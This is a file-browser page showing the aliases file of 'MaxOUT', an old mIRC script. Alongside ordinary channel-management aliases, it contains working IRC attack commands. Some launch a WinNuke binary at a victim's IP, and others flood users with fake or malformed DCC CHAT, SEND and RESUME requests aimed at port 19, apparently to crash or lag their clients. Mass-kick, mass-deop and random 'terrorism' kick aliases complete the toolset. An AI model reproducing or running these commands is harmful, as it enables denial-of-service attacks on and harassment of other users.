MaxOUT — File Browser
MaxOUTv3.000 / MaxOUTv3.000 / Maxout / INIS / aliases.ini
aliases.ini — 23.35 KB — Download this file
[Aliases]
n0=/notpad run notepad *1
n1=########################################
n2=# I encourage you alter the script #
n3=# to fit your needs, but #
n4=# please don't change any serious #
n5=# aliases! a wrong #
n6=# directory or wrong entry will #
n7=# fuck you over #
n8=#======================================#
n9=# ----=== Maximum ===---- #
n10=########################################
n11=adz say %ver
n12=setinfo { set % $+ info $+ $1 $+ $2 *3 }
n13=info { %return = % [ $+ [ info [ $+ [ $1 [ $+ [ $2 ] ] ] ] ] ] | return %return }
n14=sknet server kirk.dnaco.net
n15=kill if ($1 == $null) { mecho Supply A Nickname | halt } | .enable #nuke | stats L irc-pr.netcom.com $1 | whois $1 | mecho Nuked $1 *bang bang, y0 d34d*
n16=sk run C:\maxout\uploads\wnuke4 -n irc.netcom.com [ %temp_ip ] 0 [ %bkah2 ] 6668-6670
n17=csay {
n18= write -c c:\maxout\files\csay.say = | unset %ci | %csay = 0 | :top
n19= inc %csay | if (%csay > $len(*1)) { %file = C:\maxout\files\csay.say | %ci = $read -l $+ %nc %file | %max = $lines(C:\maxout\files\csay.say) | %file = C:\maxout\files\csay.say | %nc = 1 | goto bottom }
n20= if ($mid(%csay,1,*1) == $chr(32)) { write c:\maxout\files\csay.say ~ | goto next1 } | write c:\maxout\files\csay.say $+ $mid(%csay,1,*1) $+ | :next1
n21= inc %csay | if (%csay > $len(*1)) { %file = C:\maxout\files\csay.say | %ci = $read -l $+ %nc %file | %max = $lines(C:\maxout\files\csay.say) | %file = C:\maxout\files\csay.say | %nc = 1 | goto bottom }
n22= if ($mid(%csay,1,*1) == $chr(32)) { write c:\maxout\files\csay.say ~ | goto next2 } | write c:\maxout\files\csay.say $+ $mid(%csay,1,*1) $+ | :next2
n23= inc %csay | if (%csay > $len(*1)) { %file = C:\maxout\files\csay.say | %ci = $read -l $+ %nc %file | %max = $lines(C:\maxout\files\csay.say) | %file = C:\maxout\files\csay.say | %nc = 1 | goto bottom }
n24= if ($mid(%csay,1,*1) == $chr(32)) { write c:\maxout\files\csay.say ~ | goto top } | write c:\maxout\files\csay.say $+ $mid(%csay,1,*1) $+ | goto top
n25= :bottom | inc %nc | if (%nc > %max) { say $remove($left(1,%ci),$remove($replace(%ci,~,$chr(32)),$left(1,$replace(%ci,~,$chr(32))))) | halt } | %ci = %ci $+ $read -l $+ %nc %file | goto bottom
n26=}
n27=finfo if ($1 == $null) { mecho Usage: /finfo nickname | halt } | if ($address($1,0) == $null) { mecho $1 is not on any channels with you | halt } | mecho Friend Information: $+ $1 | mecho = Address: $address($1,0) | mecho = Address In Remote: $maddress($address($1,0)) | %mad = $maddress($address($1,0)) | mecho = Flags: ( $+ %flag [ $+ [ %mad ] ] $+ )
n28=Nuke run c:\maxout\uploads\wnuke4.exe -n irc.netcom.com %kill 0 1024-2024 6668-6670
n29=me .me *1 | echo -a 12~ 6 $+ $me $+ *1
n30=perc { if ($2 != 1) { %half = $2 / 2 } | else { %half = 1 } | %dummy = $1 * 100 | %perc = %dummy / $2 | %remainder = %dummy % $2 | if (%perc == 0) { goto return } | elseif (%remainder >= %half) { inc %perc } | :return | return %perc }
n31=ctcp if ($1 == $null || $2 == $null) { mecho USAGE: /ctcp nickname CTCP_COMMANDS | halt } | raw -q privmsg $1 : $+ $chr(1) $+ *2 $+ $chr(1) | mecho $+ *2 $+ Sent To $1
n32=ixadd %addy = $remove($address($1,1),*!*) | %add = $remove(%addy,$left($pos(%addy,@),$mid(1,$pos(%addy,@),%addy))) | %user = $left($pos(%addy,@),$mid(1,$pos(%addy,@),%addy)) | %add1 = *!* $+ %user $+ $left(6,%add) $+ * $+ $right(11,%add) | return %add1
n33=query { if ($1 == $null) { mecho USAGE: /query nickname | halt } | query $1 *2 | mecho Now Starting Query With $1 }
n34=secho echo -s 4=== *1 | echo -s -
n35=mecho echo -a [4-=12M4=-] *1 | set %rele [4-=12M4=-] *1
n36=addf if (($1 == $null) || ($2 == $null)) { mecho Usage: /addf NickName flags | mecho For Flag Help Type: /maxhelp Flags | halt } | %af = $2 | .enable #addf | userhost $1 | privmsg $1 Please Set an info line, that will greet you when you join!- /ctcp $me SETINFO #channelname InfoString | privmsg $1 You Have Been Added To My Userlist With The Flags: $2 | privmsg $1 Â Â Â USAGE: /ctcp $me FLAGHELP | mecho Added Friend $1 With Flags $2
n37=dns dns $1
n38=loadall .load -a C:\maxout\inis\aliases.ini | .load -p C:\maxout\inis\popups.ini | .load -r C:\maxout\inis\raw.ini | .load -e C:\maxout\inis\events.ini | .load -v C:\maxout\inis\variables.ini | .load -c C:\maxout\inis\commands.ini | mecho Script Fully Loaded.
n39=updown { %w = $lower(*1) | %blah = $replace($replace($replace($replace($replace(%w,a,A)%w,e,E)%w,i,I)%w,o,O)%w,u,U) | return %blah }
n40=Cbomb bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | bbomb $1 | mecho Sent DCC Chat Bomb To $1
n41=randip %return = 1.1.1. $+ $rand(1,9) $+ $rand(1,9) | return %return
n42=bbomb raw -q privmsg $$1 : $+ $chr(1) $+ DCC CHAT chat $longip($randip) 19
n43=bk %addy = $remove($address($1,1),*!*) | %pos = $pos(%addy,@) | %addy2 = $left($pos(%addy,@),%addy) | %addy3 = $remove(%addy2,@) | %addy4 = $replace(%addy3,$right(1,%addy3),?) | %addy5 = %addy4 $+ @ | %domain1 = $remove($address($1,2),*!*@) | %addy6 = %addy5 $+ %domain1 | %addy9 = *!* $+ %addy6 | mode # +b-o %addy9 $1 | if ($2 != $null) { kick # $1 *2 } | else { kick # $1 bAn kIckED }
n44=relm say %relm
n45=rele say %rele
n46=resm say %resm
n47=whois .enable #whoi | whois $1
n48=mstats {
n49= query mstats | clear mstats | %uptime = $ticks / 1000 | write -c c:\maxout\mstats.sat 4=== Self Status: $me | write c:\maxout\mstats.sat 4=== OnLine Time- %hours hrs. & %minutes mnts. | write c:\maxout\mstats.sat 4=== Address- $address($me,0)
n50= echo mstats 4================================================================
n51= write c:\maxout\mstats.sat 4=== Host/IP- $host $+ / $+ $ip | write c:\maxout\mstats.sat 4=== Script- %ver = [' $adate '] = [' $rtime '] | write c:\maxout\mstats.sat 4=== Notify- $notify(0) People Are On IRC From N List | write c:\maxout\mstats.sat 4=== Computer Uptime- $duration(%uptime) | .enable #selfstats | whois $me
n52=}
n53=funny write C:\maxout\files\ $+ $remove($remove($remove($1,|)$1,_)$1,^) $+ .jok *2
n54=pjoke .play # $hfile C:\maxout\files\*.jok 2
n55=ubk kick # $nick($rand(1,$nick(0,#)),#) You Are An OFFICIAL Victim Of A UNIBOMBER Random Act Of Terrorism
n56=cdban mecho Clearing Bans On $active | %ubi = 0 | set %uban $active | .enable #ub | mode $active +b
n57=sendmail raw -q PRIVMSG $me : $+ $chr(1) $+ DCC CHAT chat $longip(%server_ip) 25 $+ $chr(1)
n58=port raw -q PRIVMSG $me : $+ $chr(1) $+ DCC CHAT chat $longip($1) $2 $+ $chr(1)
n59=tban %1 = $1 | %active = $active | play -c $me C:\RevX\tban.txt 1
n60=getmail :top | if (%server_ip != $null) { %bah = $?="Use Last Used E-mail Popd Server?(y/n/q)" | if (%bah == y) { raw -q PRIVMSG $me : $+ $chr(1) $+ DCC CHAT chat $longip(%server_ip) 110 $+ $chr(1) | query Mail | write -c c:\maxout\files\mail.mail mIRC GETMAIL Written By Maximum <conquest@vendetta.com> | .enable #qmail | clear mail | halt } | if (%bah == n) { goto bah } | if (%bah == q) { halt } else { goto top } | } | :bah | %Server = $?="ServerName? POPD.DOMAIN.COM" | %user = $?="Enter Username" | %passwd = $?="Enter Passwd" | .enable #mail | .dns %server
n61=clone raw -q PRIVMSG $me : $+ $chr(1) $+ DCC CHAT chat $longip(206.217.29.1) 6668 $+ $chr(1)
n62=addem %add_em = %add_nick $+ ! $+ %add_un $+ @ $+ %domain | auser Op %add_em
n63=zog raw -q PRIVMSG $$1 : $+ $chr(1) $+ DCC CHAT chat COW M00 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1 $+ $chr(1) | raw -q PRIVMSG $$1 : $+ $chr(1) $+ DCC CHAT chat COW M00 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1 $+ $chr(1)
n64=ncp server irc.netcom.com 6668
n65=ap ctcp $me ping
n66=quit quit %ver = [' $rtime '] = [' $date ']
n67=wsecho echo -s 4= *1
n68=fakechat raw -q privmsg $$1 : $+ $chr(1) $+ DCC CHAT chat $longip($ip) 1029
n69=dccbomb .timer 25 1 fakechat $1 | mecho Fake Chat Bomb: Bomb Sent To $+ $1
n70=gunkbomb .timer 25 1 send19 $$1 | mecho Send Port 19: Bomb Sent To $+ $1 $+
n71=resin raw -q privmsg $$1 : $+ $chr(1) $+ DCC RESUME fuck.you 19 666
n72=chat19 raw -q privmsg $1 :DCC CHAT chat 3353362454 19 | mecho Chat19: Sent To $+ $1 $+
n73=send19 raw -q privmsg $1 :DCC SEND fuck.you 3353362454 19 | mecho Send19: Sent To $+ $1 $+
n74=ixkill raw -q notice $$1 : $+ $chr(1) $+ DCC SEND terminate $+ $chr(1) | mecho Ixkill: Sent To $+ $$1 $+
n75=n notice $1 *2
n76=funny write $1 $+ joke.jok *2
n77=join %voice = 0 | %friend = 0 | %ircop = 0 | raw -q JOIN $1
n78=page ctcp $1 PAGE
n79=m raw -q PRIVMSG $1 : $+ *2 | echo -a 4--> -=[ $+ $1 $+ 4]=- *2
n80=shit if $1 == $null || $2 == $null { mecho ShitList: USAGE - /shit <*!*user@*host.domain> <reason> OR /shit <nick> <reason> | halt } | if ($chr(42) !isin $1) { .auser 2 $address($1,3) | mode # +b $address($1,3) | set % $+ shit $+ $address($1,3) *2 | fk $address($1,3) | halt } | .auser 2 $1 | mode # +b $1 | set % $+ Shit $1 *2 | fk $1 | halt
n81=rshit if $1 == $null { mecho UnShit: USAGE /rshit <*!*user@*host.domain> OR <nick> | halt } | if ($chr(42) !isin $1) { if ($1 !isin $me) { mecho $1 Is Not On Any Channels With You <REQUIRED> | mecho OR Use /rshit <*!*user@*host.domain | halt } | .ruser $1 | unset % $+ shit $+ $address($1,3) | mecho Removed Shitlist On $1 ( $+ $address($1,3) $+ ) } | .ruser $1 | .ruser $1 | .ruser $1 | unset % $+ $1 $+ shit | mecho Removed Shitlist On $1
n82=sk guser 3 $1| amsg A Shuttup Kick Has Been Placed On $1 $+ , I wouldn't Talk If I were You....
n83=cstats %ircop = 0 | %friend = 0 | %voice = 0 | mecho Channel Status On $active begining.... | .enable #cstats | who $active
n84=ban if $1 == $null { mecho Ban: USAGE: - /ban <nickname> | halt } | mode $chan -o+bb $1 $address($1,3) $address($1,4)
n85=k if ($1 == $null) { mecho Kick: USAGE: - /k <nickname> | halt } | if ($2 != $null) { kick $active $1 *2 | halt } | else { kick $active $1 kIckEd }
n86=fuck if $1 == $null { mecho Fuck: USAGE: - /fuck <NickName> [<Reason>] | halt } | mode $chan -o+bbb $1 $1 $address($1,3) $address($1,4) | if ($2 == $null) { kick # $1 kIck bAnnEd | halt } | else { kick # $1 *2 }
n87=t topic $active *1
n88=uban mode $chan +o-bbb $1 $1 $address($1,3) $address($1,4)
n89=op /raw -q mode # +oooo $$1 $2 $3 $4 | /raw -q mode # +oooo $5 $6 $7 $8 | /raw -q mode # +oooo $9 $10 $11 $12 | /raw -q mode # +oooo $13 $14 $15 $16 | /raw -q mode # +oooo $17 $18 $19 $20 | /raw -q mode # +oooo $21 $22 $23 $24 | /raw -q mode # +oooo $25 $26 $27 $28 | /raw -q mode # +oooo $29 $30 $31 $32
n90=deop /raw -q mode # -oooo $$1 $2 $3 $4 | /raw -q mode # -oooo $5 $6 $7 $8 | /raw -q mode # -oooo $9 $10 $11 $12 | /raw -q mode # -oooo $13 $14 $15 $16 | /raw -q mode # -oooo $17 $18 $19 $20 | /raw -q mode # -oooo $21 $22 $23 $24 | /raw -q mode # -oooo $25 $26 $27 $28 | /raw -q mode # -oooo $29 $30 $31 $32
n91=saveall .save -a c:\maxout\inis\aliases.ini | .save -p c:\maxout\inis\popups.ini | .save -u C:\maxout\inis\users.ini | .save -r C:\maxout\inis\raw.ini | .save -c C:\maxout\inis\commands.ini | .save -e C:\maxout\inis\events.ini | query save | echo save [-=M=-] Saving.. | echo save [-=M=-] Saving... | echo save [-=M=-] Saving.... | echo save [-=M=-] Save Complete.. | .timer 1 3 closemsg save
n92=f1 /maxhelp
n93=sf1 set %cycle $active | mecho Cycling $active In One Moment... | .timer 1 2 raw -q PART %cycle | .timer 1 2 raw -q JOIN %cycle
n94=f2 /ignore -tu10000 *!*@*
n95=sf2 /ignore -r *!*@*,ctcp,private
n96=f3 /ignore *!*@*ctcp,private
n97=sf3 /ignore -r *!*@*ctcp,private
n98=f4 /clear maxout | echo maxout mIRC 4.72 Colour Listing.. | echo maxout 1echo 1 2echo 2 3echo 3 4echo 4 5echo 5 6echo 6 7echo 7 8echo 8 9echo 9 10echo 10 11echo 11 12echo 12 13echo 13 14echo 14 15echo 15 | echo Maxout - | echo Maxout White Can Be Achieved By ^K16, And ^K#,# Will Place The Color On Another Color BackGround
n99=f5 if (%tctcp == yes) { echo -a Please turn off the CTCP Titlebar Switch First | halt } | %tmsg = yes | .enable #tmsg | titlebar Now listening for MSG's
n100=sf5 %tmsg = no | .disable #tmsg
n101=f6 if (%tctcp == yes) { echo -a Please turn off the MSG Titlebar Switch First | halt } | %tctcp = yes | .enable #tctcp | titlebar Now listening for CTCP's
n102=sf6 %tctcp = no | .disable #tctcp
n103=cycle set %cycle $active | mecho Cycling $active In One Moment... | .timer 1 2 raw -q PART %cycle | %baway = No | .timer 1 2 raw -q JOIN %cycle
n104=away {
n105= if ($away) { raw -q AWAY | return }
n106= .enable #away | %aia = 0 | if ($1 != $null) { goto they_said }
n107= else goto done | :they_said | ame is no longer here. ( *1 ) - $+ $rtime $+
n108= away *1 $+ : $me Has Been Away Since $rtime | write -c C:\maxout\files\away.txt Away Messages Start!: While you Were Away, *1 | halt
n109= :done | ame is no longer here.(It Seemed To Last A Lifetime..) $+ $rtime $+ | .enable #away
n110= away Auto Away: $me Has Been Away Since $rtime | write -c C:\maxout\files\away.txt Away Messages Start!: While you Were Away, Auto Away
n111=}
n112=rtime { if $left(2,$token(1,$asc(:),$time)) == 12 { return $time PM } | if $left(1,$token(1,$asc(:),$time)) == - && $right(2,$token(1,$asc(:),$time)) == 12 { return $time AM } | %bluh = $token(1,58,$time) - 12 | %blah = %bluh $+ $remove($time,$token(1,58,$time)) | if ($left(1,%blah) == - && $mid(2,2,%blah) == 12) { return 12: $+ $token(2,$asc(:),$time) $+ : $+ $token(3,$asc(:),$time) AM | halt } | if ($left(1,%blah) == -) { return $time AM | halt } | if ($left(1,%blah) == - && $Left(2,%blah) == 0) { return 12 $+ $token(2,$asc(:),$time) AM } | return %blah PM }
n113=links { query links | clear links | echo links -4Links- List: 6 $+ $server | links }
n114=back {
n115= away
n116= ame is no longer away...
n117= .disable #away
n118= if ($lines(C:\maxout\files\away.txt) == 1) {
n119= mecho You Have No Msg's Waiting
n120= halt
n121= }
n122= %lines = $lines(C:\maxout\files\away.txt)
n123= %llines = %lines - 1
n124= set %ai 0
n125= mecho You Have $+ %llines $+ Msg(s) Waiting!
n126= %yn = $?="View Msg Log? (Y\n)"
n127= if (%yn != y) { goto done | halt }
n128= :next
n129= inc %ai
n130= if (%ai > %lines) {
n131= .remove C:\maxout\files\away.txt
n132= goto done
n133= halt
n134= }
n135= echo -a $read -l $+ %ai C:\maxout\files\away.txt
n136= goto next
n137= :done
n138= %save = $?="Save Msg Log? (Y\n)"
n139= if (%save != y) { .remove C:\maxout\files\away.txt | mecho Removed Away Msg Log | halt }
n140= else { Saved Message Log | halt }
n141=}
n142=mult { %return = $1 * $2 | return %return }
n143=dccstats {
n144= %get = $get(0) | %send = $send(0) | %chat = $chat(0)
n145= if %get == 0 && %send == 0 && %chat == 0 {
n146= echo -a 4[DCC INFO]
n147= echo -a 5DCC CHAT: None
n148= echo -a 5DCC GET: None
n149= echo -a 5DCC SEND: None
n150= halt
n151= }
n152= %dcc = 0
n153= %i = 0
n154= write -c c:\maxout\files\dccstats.log 4[DCC INFO]
n155= :get
n156= inc %dcc
n157= if %dcc > %get { %dcc = 0 | goto send }
n158= write C:\maxout\files\dccstats.log 5DCC GET: Nick: $+ $get(%dcc) $+ - Percent Complete: $+ $get(%dcc).pc $+ % $+ - CPS $+ $get(%dcc).cps $+ - KPS $+ $addtok($remove($kbg,$right(2,$kbg)),$right(2,$kbg),46) $+ - Recieved $+ $get(%dcc).rcvd
n159= goto get
n160= :send
n161= inc %dcc
n162= if %dcc > %send { %dcc = 0 | goto chat }
n163= write C:\maxout\files\dccstats.log 5DCC SEND: Nick: $+ $send(%dcc) $+ - Percent Complete: $+ $send(%dcc).pc $+ - CPS $+ $send(%dcc).cps $+ - KPS $+ $addtok($remove($kbs,$right(2,$kbg)),$right(2,$kbs),46) $+ - Sent $+ $send(%dcc).sent
n164= goto send
n165= :chat
n166= inc %dcc
n167= if (%dcc > %chat) { goto done }
n168= write C:\maxout\files\dccstats.log 5DCC CHAT: Nick: $chat(%dcc) Status: $chat(%dcc).status IP: $chat(%dcc).ip
n169= goto chat
n170= :done
n171= inc %i
n172= if %i > $lines(C:\maxout\files\dccstats.log) { remove C:\maxout\dccstats.log | halt }
n173= echo $read -l $+ %i C:\maxout\files\dccstats.log
n174= goto done
n175=}
n176=ls {
n177= if ($1 == $null || $2 == $null) { echo -a 4[List]: USAGE: /ls Drive:\Directory\ *wildcard_filematch*.exe | echo -a   Or Use /ls -d To Search All Subdirectories | halt }
n178= if ($1 == -d) { query Maxout | clear Maxout | echo maxout Directory Listing of $2 with files $3 $+ : With All SubDirectories | %number = $findfile($2,$3,0) | %bah = 0 | goto d }
n179= %number = $findfile($1,$2,0) | %bah = 0 | query Maxout | echo Maxout Directory Listing Of $+ $1 $+ of files $+ $2 $+
n180= :top | inc %bah | if ($nofile($findfile($1,$2,%bah)) != $1) { echo Maxout End Of File Listing For $1 Of Files $2 | halt } | echo Maxout ( $+ %bah $+ ) $nopath($findfile($1,$2,%bah))
n181= goto top | :d | inc %bah | if (%number == %bah) { echo maxout End Of File Listing | halt } | echo Maxout ( $+ %bah $+ ) $findfile($2,$3,%bah) | goto d
n182=}
n183=seen { if ($1 == $null) { mecho SEEN USAGE: /seen nickname | halt } | %seen = $lines($replace($replace($replace($1,$chr(124),_)$1,^,_)$1,`,_)) | echo -a 4[SEEN] Searching For $replace($replace($replace($1,|,_)$1,^,_)$1,`,_) $+ ..... On Moment.. | echo -a   Last Seen $1 --> $read -l $+ %seen C:\maxout\seen\ $+ $replace($replace($replace($1,|,_)$1,^,_)$1,`,_) $+ .see }
n184=paddy { if ($1 == -d) { .enable #duhost | %2 = $2 | userhost $2 | goto done } | else { echo -a 4[PADDY] Resolving $1... One Moment | .enable #uhost | .userhost $1 | .timer 1 6 say %paddy } | :done }
n185=kbg { %bluh = $get(%dcc).cps | %return1 = %bluh * 100 | %return = %return1 / 1024 | return %return }
n186=kbs { %bluh = $send(%dcc).cps | %return1 = %bluh * 100 | %return = %return1 / 1024 | return %return }
n187=mop set -q %i 0 | /set -q %nicks | /set -q %nc 0 | :begin | /inc -q %i | %nick = $nopnick(%i,#) | if (%nick == $null) goto null | if (%nick != $me) goto yes | goto begin | :yes | /set %nicks %nicks %nick | /inc -q %nc | if (%nc == 4) goto four | goto begin | :four | /raw -q mode # +oooo %nicks | /set -q %nc 0 | /set -q %nicks | goto begin | :null | /raw -q mode # +oooo %nicks | /set -q %nc 0| /set -q %nicks
n188=mdop {
n189= set %i 0 | unset %nicks | unset %opnumber
n190= :next
n191= inc %i
n192= if ($me !isop $chan) halt
n193= if ($opnick(%i,$chan) == $null) goto done
n194= if ($opnick(%i,$chan) != $me) {
n195= set %nicks %nicks $opnick(%i,$chan)
n196= inc %opnumber
n197= }
n198= if (%opnumber = 3) goto deop
n199= goto next
n200= :deop
n201= raw -q mode $chan -ooo %nicks
n202= unset %nicks %nicks
n203= unset %opnumber
n204= goto next
n205= :done
n206= raw -q mode $chan -ooo %nicks
n207= halt
n208=}
n209=chflags if ($1 == $null) || ($2 == $null) || ($3 != $null) { mecho Usage: /chflag NickName NewFlags | halt } | if ($maddress($address($1,0)) == $null) { mecho $1 Is Not On Any Channels With You | halt } | %chflags = $2 | %chnick = $maddress($address($1,0)) | %flag [ $+ [ %chnick ] ] = %chflags | mecho Flags For $1 Changed To: $+ $2
n210=server if ($1 == $null) { echo -a 4[Server]: USAGE: /server irc.server.com | halt } | if ($server != $null) { quit switching servers | server $1 $2 | halt } | if ($2 == $null) { server $1 6667 | halt } | server $1 $2
n211=mkick set %ctr 1 | :next | set %nick $nick(%ctr,#) | if %nick == $null goto done | if %nick !isin $me { raw -q kick # %nick *1 } | inc %ctr | goto next | :done
n212=nopkick set %ctr 1 | :next | set %nick $nick(%ctr,#) | if %nick == $null goto done | if %nick !isop $chan { raw -q kick # %nick : $+ nOn OpErAtOr kIck } | inc %ctr | goto next | :done
n213=mmsg set %ctr 1 | :next | set %nick $nick(%ctr,#) | if %nick == $null { echo -a 4*12*4* 12 NOTICE # } | if %nick !isin $me { PRIVMSG %nick : $+ *1 } | inc %ctr | goto next
n214=mnotice set %ctr 1 | :next | set %nick $nick(%ctr,#) | if %nick == $null { echo -a 4*12*4* 12 NOTICE # | halt } | if %nick !isin $me { raw -q notice %nick : $+ *1 } | inc %ctr | goto next
n215=ver raw -q privmsg # : $+ $chr(1) $+ VERSION $+ $chr(1) | echo -a 4*12*4* 12 VERSION #
n216=maxhelp %1 = $1 | if ($1 == Op || $1 == 1) { clear Maxout | play -ct $me c:\maxout\files\helpOP.txt 1 | halt } | if ($1 == User || $1 == 2) { clear Maxout | play -ct $me c:\maxout\files\helpUSER.txt 1 | halt } | if ($1 == mISC || $1 == 3) { clear Maxout | play -ct $me c:\maxout\files\helpMISC.txt 1 | halt } | if ($1 == Function || $1 == 4) { clear Maxout | play -ct $me c:\maxout\files\helpf.txt 1 | halt } | if ($1 == Flags || $1 == 5) { clear Maxout | play -ct $me c:\maxout\files\helpFLAG.txt 1 | halt } | clear Maxout | .play -ct $me c:\maxout\files\help.txt 1
n217=mp raw -q PRIVMSG # : $+ $chr(1) $+ PING $ctime $+ $chr(1)
n218=wallop onotice # [+o: $+ $opnick(0,#) $+ / $+ $nick(0,#) $+ :( $+ $perc($opnick(0,#),$nick(0,#)) $+ % $+ )] *1
n219=update .enable #idletime | if ($query(Maxout) == 0) { query Maxout } | whoami | .flush 10 | .flush 3000 | .flush 1000
n220=j /join #$1
n221=whoami whois $me
n222=mtime {
n223= if ($token(2,$asc(:),$rtime) == 00) && ($left(2,$token(3,$asc(:),$rtime)) == 00) { mecho It Is Now Approx. $+ $rtime } | if (%tmsg != no || %tctcp != no) { halt } | if ($get(0) != 0 || $send(0) != 0) { goto dccbar } | titlebar = $+ $rtime $+ = Online Time- $otime = $me ( $+ $usermode $+ ) | halt | :dccbar | if ($get(0) != 0) { titlebar = $+ $rtime $+ = Online Time: $otime = $me ( $+ $usermode $+ ) - DCC: Get - $get(1).pc $+ % | halt }
n224= if ($send(0) != 0) { titlebar = $+ $rtime $+ = Online Time- $otime = $me ( $+ $usermode $+ ) - DCC - Send: $send(1).pc $+ % | halt } | titlebar = $+ $rtime $+ = Online Time- $otime = $me ( $+ $usermode $+ ) - DCC: Send - $send(1).pc $+ % - Get - $get(1).pc $+ %
n225=}
n226=otime { return %hours $+ : $+ %minutes }
n227=fk %inc = 0 | %fk = $1 | if ($chr(42) !isin $1) { mecho FilterKick: USAGE - /fk *!*user@host.domain | halt } | %ial = $ial($1,0) | if ($1 == $null) { mecho FilterKick: USAGE - /fk *!*user@host.domain | halt } | if (%ial == 0) { echo -a FilterKick: No Users Matching $+ $1 $+ on $+ $active | halt } | :kickem | if (%inc > %ial) { halt } | inc %inc | kick $active $ial($1,%inc).nick Filter KICK Of Users Matching $+ $1 $+ | goto kickem
n228=fbk %inc = 0 | %fk = $1 | if ($chr(42) !isin $1) { mecho FilterKick: USAGE - /fk *!*user@host.domain | halt } | %ial = $ial($1,0) | if ($1 == $null) { mecho -a FilterKick: USAGE - /fk *!*user@host.domain | halt } | if (%ial == 0) { mecho FilterKick: No Users Matching $+ $1 $+ On $active | halt } | mode # +b %fk | :kickem | if (%inc > %ial) { halt } | inc %inc | kick $active $ial($1,%inc).nick Filter BANKICK Of Users Matching $+ $1 $+ | goto kickem
n229=fil {
n230= %inc = 0 | %fk = %banmask | %ial = $ial(%banmask,0) | if (%ial == 0) { halt } | :kickem | inc %inc | if (%inc > %ial) { halt } | if ($ial(%banmask,%inc) !isin $chan) { dec %ial | dec %inc | goto kickem } | kick $chan $ial(%banmask,%inc).nick banned - $+ %inc $+ / $+ %ial $+ - | goto kickem
n231=}